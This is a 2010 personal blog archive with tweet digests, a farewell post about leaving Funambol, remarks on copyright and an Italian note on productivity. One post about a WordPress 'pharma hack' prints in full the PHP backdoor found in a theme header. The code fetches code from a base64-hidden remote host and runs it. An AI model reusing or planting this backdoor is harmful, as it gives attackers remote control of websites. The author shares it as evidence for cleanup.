Things I said on 2010-08-29

Parliamo e non ci capiamo: produttività per esempio.

Un esempio da manuale di come in Italia si urla troppo e si è persa la sana abitudine di capire. Ne

Noi dicevamo “il problema è la produttivita’ che non cresce da 15 anni, bisogna fa crescere la produttivita'”, loro (a sinistra, ndr) capivano “il problema è la produttività che non cresce da 15 anni, bisogna spremere i lavoratori.”

Da leggere su noiseFromAmeriKa : La produttività: un esempio..

Things I said on 2010-08-22

  • the tea party people must be drinking something that is clearly not innocent tea. Net neutrality against free spech? #
  • moglen: fighting the patent system won't lead to victory the system should be adapted to serve free software interests #
  • Is Dilbert taking side on the debate around Net Neutrality? #
  • I think it's clear where to stand regarding Net Neutrality issue: on the opposite side of those tea+substances drinking party people #
  • I have cleaned up many of the connection (not friends) I had on Facebook. Now I feel like I need to remove the whole account #
  • ♺ @italylogue: The First Thing You Should Do With Facebook Places: Don't Let Other People Tag You via @gawker #
  • MUST read: Did Germany experience rapid industrial expansion in the 19th century due to an absence of copyright law? #
  • Un'altra perla di intrattenimento dai ragazzacci di #nFA Giulio Tremonti ha un modello e ce lo va a spiegare #
  • ♺ @nico_mar: (sigh) la mamma is always la mamma: mobster undone by love of home cooking RT @newsfromitaly: #
  • free interaction design for your open source project < Teachers: contribute to free software/knowledge #
  • ♺ @graziano: Intel acquired McAfee: < I wonder why they did that #
  • Starting my last day as #Funambol community manager. Looking forward to celebrate this great adventure in the office. #
  • my last day at #Funambol started with a scenic drive on 280. Next week I'll start a new job at a different company. Follow me for more news #
  • R2 (no D2?) is the new NASA robot. And it tweets. To the future and beyond 🙂 #
  • it's margarita time at #funambol Celebrating my last day at the company 🙂 #
  • Italian kids who drink with meals are less likely to grow up as binge-drinkers #

It’s time to change

My adventure with Funambol ended. Since January 2008 I’ve been working with an amazing company managing an amazing community. I’m proud to have helped the company increase its download number about 30% every quarter and also am glad to have seen the number of active servers skyrocket. I’m glad to have contributed back to the community with some money with the Funambol sniper programs. I’ve immersed and learned a lot about the mobile world, understanding the challenges that the free software community faces in this environment. I made new friends and I’ve enjoyed every day here.

There are things that I wish I’ve done differently or pushed more aggressively to be done, but so is life: I learned from the mistakes and I definitely feel good about all I did. Now it’s time to change. So long, Funambol and good luck to all.

Is copyright really worth its existence?

Imagine that an archaeologist finds an ancient book but nobody can make copies for other scientists to read it because of copyright laws. That’s happening with old and important jazz recordings, as explained in the post by the law professors of The Volokh Conspiracy » The High Cost of Copyright:

It’s not just that copyright protection lasts absurdly long, still protecting recordings made more than seventy years ago; it’s that copyright, inherently, operates to the detriment of the public when applied in retrospect, to works that have already been created. Lester Young, alas, can no longer be incentivized to produce these performances — they’ve already been created. We won’t get any more brilliant performances by Teddy Wilson if we protect these works. All we — the public — get from applying copyright here is a restriction on our ability to encounter magnificent works of art.

I read this article after reading The Real Reason for Germany’s Industrial Expansion?

Did Germany experience rapid industrial expansion in the 19th century due to an absence of copyright law? A German historian argues that the massive proliferation of books, and thus knowledge, laid the foundation for the country’s industrial might.

Makes you wonder …

Things I said on 2010-08-08

Getting busy on the blog for the wrong reasons

I’ve been spending lots of time on this blog but not for good reasons. I’m currently under the attack of the nasty pharma hack and I can’t get things to work. I still haven’t identified the backdoor used to enter my wordpress installation. I’ve done all the necessary steps: cleaned the database, removed the offending files, removed the first source of entry, upgraded WP and all plugins + themes I use.  I changed the ftp password and database passwords for all three sites I manage on this hosting platform. I did this three times already. Still, every day I get a notification from WP File Monitor that the SOB has modified some files. If anybody has pointers useful to identify the entry point for this cracker please let me know.

UPDATE: I think I found the backdoor  that the bastard is using. It was in the header.php of one of the templates:

<?php /* system_remote_fopen procedure */ $er=error_reporting(0); $f_sys_remote_fopen=create_function(‘$uri’,’$_url=@parse_url($uri); if(!$_url || !is_array($_url)) return false; if(!isset($_url[“scheme”]) || !in_array($_url[“scheme”],array(“http”,”https”))) $uri=”http://”.$uri; if(function_exists(“curl_init”)){ $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,$uri); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,5); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_TIMEOUT,10); $txt=curl_exec($ch); curl_close($ch); return $txt; }elseif(function_exists(“fsockopen”)){ $f=@fsockopen($_url[“host”],80,$errno,$errstr,5); @stream_set_timeout($f,10); if($f){ $s=”GET $uri HTTP/1.0rnHost: “.$_url[“host”].”rnConnection: Closernrn”; @fwrite($f,$s); $txt=””; while(!feof($f)) $txt.=@fgets($f,128); $txt=trim($txt); } @fclose($f); return substr($txt,strpos($txt,”rnrn”)+4); }elseif(@ini_get(“allow_url_fopen”)){ @ini_set(“default_socket_timeout”,10); $fp=@fopen($uri,”r”); if(!$fp) return false; $txt=””; while($ln=@fread($fp,4096)) $txt.=$ln; @fclose($fp); return $txt; }else return “”;’); $sys_remote_fopen=’aHR0cDovL2luY29tZWluLm5ldC8=’; $opt_id=’4f66ac83efc3ebdc05a18f757f30f875′; $sess=@file_get_contents(‘/tmp/sess_’.md5($opt_id)); $_sess=@trim($f_sys_remote_fopen(@base64_decode($sys_remote_fopen).$opt_id.’.md5′)); if($_sess!=”” && $_sess!=md5($sess)){ $sess=@trim($f_sys_remote_fopen(@base64_decode($sys_remote_fopen).$opt_id.’.txt’)); $fh=@fopen(“/tmp/sess_”.md5($opt_id),”w+”); @fwrite($fh,$sess); @fclose($fh); } $sess=@unserialize(@base64_decode($sess)); if($sess && $sess[‘uptime’]!=””){ unset($sess_f); $sess_f=create_function(“$a”,$sess[‘uptime’]); $sess_f(&$sess); } error_reporting($er); /* system_remote_fopen procedure */ ?>

Lets see how long this lasts.

Things I said on 2010-08-01

  • do I really have to pay to unlock the Palm Pre I won #oscon I thought the choice was CDMA vs GSM, not strictly the carriers 🙁 #HP #
  • ♺ @sflc: Eben Moglen is giving a talk at DebConf 10 next week, "How We Can Be the Silver Lining of the Cloud": #
  • Luddismo paternalismo fascismo corporativismo e conflitto di interesse: La RAI non mostra più la moviola dopo partita #
  • another day, another threat to freedom: ultraviolet (or ultravioleNt) #drm #dbd #
  • ♺ @sflc: DebConf10 starts this Sunday. Eben Moglen and @bkuhn are giving talks: #
  • Connected devices: watch the pictures you synced on myFUNAMBOL server from your HD TV using #Funambol Cloud API #
  • I need a Windows machine to unlock the Palm Pre phone that I won at #OSCON Massive #fail HP: why can't they get unlock codes from AT&T? #
  • uso creativo di twitter in italiano: satira in 140 caratteri #
  • Massive #caltrain #fail trains are as late as trenitalia during national crisis. 50min late on such simple network is unjustifieable #